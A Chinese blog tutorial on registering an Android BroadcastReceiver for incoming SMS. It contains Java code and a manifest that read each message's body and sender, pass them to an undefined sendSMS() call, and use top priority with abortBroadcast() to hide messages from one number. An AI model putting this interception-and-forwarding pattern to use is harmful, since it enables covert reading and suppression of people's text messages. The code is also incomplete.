Android中短信的广播接收问题
2011-06-28 21:53
369 查看
首先,接收短信的机制是接收广播,由系统发出短信到来的广播,我们对短信广播进行注册,从而接收。
这是对短信进行广播监听的代码,下面是AndroidManifest.xml的配置
稍微解释下:android:priority="1000"这是设置接收广播的优先级,好像是从0到1000还是多少,记不清楚,但是1000是最高的。
好了,有了这两个,就可以顺利的接收的短信了。。
import java.util.Date; import android.content.BroadcastReceiver; import android.content.Context; import android.content.Intent; import android.telephony.SmsMessage; public class SMSBroadcastReceiver extends BroadcastReceiver { @Override public void onReceive(Context context, Intent intent) { Object[] pdus = (Object[]) intent.getExtras().get("pdus"); for(Object p : pdus){ byte[] pdu = (byte[]) p; SmsMessage message = SmsMessage.createFromPdu(pdu); String content = message.getMessageBody(); Date date = new Date(message.getTimestampMillis()); SimpleDateFormat format = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss"); String receiveTime = format.format(date); String senderNumber = message.getOriginatingAddress(); sendSMS(content, receiveTime, senderNumber); if("5556".equals(senderNumber)){ abortBroadcast();//终止广播 } } }
这是对短信进行广播监听的代码,下面是AndroidManifest.xml的配置
<?xml version="1.0" encoding="utf-8"?> <manifest xmlns:android="http://schemas.android.com/apk/res/android" package="cn.itcast.smslistener" android:versionCode="1" android:versionName="1.0"> <application android:icon="@drawable/icon" android:label="@string/app_name"> <receiver android:name=".SMSBroadcastReceiver"> <intent-filter android:priority="1000"> <action android:name="android.provider.Telephony.SMS_RECEIVED"/> </intent-filter> </receiver> </application> <uses-sdk android:minSdkVersion="8" /> <uses-permission android:name="android.permission.RECEIVE_SMS"/> </manifest>
稍微解释下:android:priority="1000"这是设置接收广播的优先级,好像是从0到1000还是多少,记不清楚,但是1000是最高的。
好了,有了这两个,就可以顺利的接收的短信了。。
相关文章推荐
- Android 短信广播接收相关问题
- Android BroadcastReceiver接收收到短信的广播
- 记录关于android广播(无序)接收不到的问题解决思路
- 【Android】Android 4.0 无法接收开机广播的问题
- Android 无法接收开机广播的问题
- Android开发静态注册广播接收不到的问题的解决办法
- Android -- 怎么发出和接收广播, Broadcast, 电话拨号拦截,短信拦截
- android使用SmsManager发送长短信却接收到多条的问题(重新编辑)
- android安全问题(七) 抢先接收广播 - 内因篇之广播发送流程
- Android -- 怎么发出和接收广播, Broadcast, 电话拨号拦截,短信拦截
- Android开发中接收锁屏广播失败的问题
- android 4.4 动态注册+静态注册电话短信广播后收到两次onReceive回调的问题
- android 使用广播接收者监听短信和拦截外拨电话
- 【Android】Android 4.0 无法接收开机广播的问题
- 详解Android短信的发送和广播接收实现短信的监听
- Android之短信广播接收内容
- Android之短信广播接收内容
- Android安全问题 抢先接收广播 - 内因篇之广播接收器注册流程
- android虚拟机接收短信的广播
- Android通过广播接收短信